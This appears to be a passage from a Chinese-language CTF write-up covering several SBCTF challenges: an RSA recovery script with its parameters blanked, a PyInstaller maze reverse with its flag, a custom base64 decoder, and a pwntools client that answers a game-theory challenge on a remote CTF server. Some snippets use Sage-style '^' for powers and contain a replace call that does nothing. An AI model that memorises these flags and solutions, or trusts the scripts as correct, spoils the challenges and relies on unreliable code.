\begin{align} 3k_1^2r^2-(6k_1^2+3k_1)r+(3k_1^2+3k_1+k1^3g_2+1-27g_1) &< 84n\\ 3k_1^2r^2-(6k_1^2+3k_1)r+(3k_1^2+3k_1+k1^3g_2+1-27g_1) &= k_2 n,k_2<84. \end{align}

于是可以解出(r=p+q),得出\phi(n)然后得出结果。

from Crypto.Util.number import long_to_bytes

n =
g1 =
g2 =
e = 3

for k in range(1, 3):
    a = 3 * (k ^ 2)
    b = -(6 * (k ^ 2) + 3 * k)
    c = 3 * (k ^ 2) + 3 * k + (k ^ 3) * g2 - 27 * int(g1) + 1

    det = b ^ 2 - 4 * a * c
    for i in range(85):
        c -= n
        det = b ^ 2 - 4 * a * c
        if det.is_square():
            break
    if det.is_square():
        break
r = (-b + sqrt(b ^ 2 - 4 * a * c)) / (2 * a)
c =
phi = n - r + 1
d = pow(e, -1, phi)
assert pow(d, e, n) == g1
flag = pow(c, d, n)
print(long_to_bytes(flag))

[Reverse] babymaze

看图标就是一个pyinstaller的封装。用pyinstxtractor.py解包之后pycdc提取字节码得到内容。

是个迷宫,从3走到2不能走0的地方。

只有几条找到即可。

SBCTF{bbbbdddaddbbbbcbb}

[Reverse] 八色三月七

base64的另一种实现。

前半部分一样后半部分表换成了一二三四五六七八

r = "三月五七月五二月二一月四三月六一月五四月二八月四三月二一月七八月六四月八三月六三月六八月六六月五四月一三月七五月六六月四四月二三月六八月六二月六四月一三月七二月六六月一四月三三月六八月六七月四四月一三月七五月六七月八四月二三月七八月一八月八二月四三月三七月六四月二四月二三月八二月五五月二四月八三月一"
r = r.replace("March7", "=")
table = "一二三四五六七八"
base_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
for i in range(0, len(r), 3):
    t, s = r[i : i + 3].split("月")
    e = table.find(t) * 8 + table.find(s)
    print(base_table[e], end="")

Week4

[Misc] ez_game and revenge

一个博弈论。从AtCoder上扒下来的。居然还是紫题感觉题解比我讲得好就不放我的思路了。放个exp

from pwn import *
# context.log_level = "debug"
def solve(n, a):
    a.sort(reverse=True)
    a = [0] + a + [0]
    # print(a)
    for i in range(1, n + 1):
        if i + 1 > a[i + 1]:
            ret = sum(1 for j in range(i + 1, n + 1) if a[j] == i)
            # print(ret, i)
            if ret % 2 != 0 or (a[i] - i) % 2 != 0:
                return "First"
            else:
                return "Second"
    return None
# p = remote("localhost", 10000)
p = remote("47.76.71.50", 20009)
for _ in range(20):
    res = p.recvuntil(b"Your answer: ").decode().replace("Your answer: ", "")
    res = res.split("\n")
    print(res[0].split(" = "))
    n = int(res[0].split(" = ")[1])
    arr = eval(res[1].split(" = ")[1])
    p.send(solve(n, arr) + "\n")
    p.recvuntil("Next one!\n")

print(p.recv(1024).decode())

[Crypto] ez_pack

由于给的界太小了可以用yafu分解/使用factordb查到p,q。所以直接非预期。

格密码还在学后门应该会写这个题的revenge版。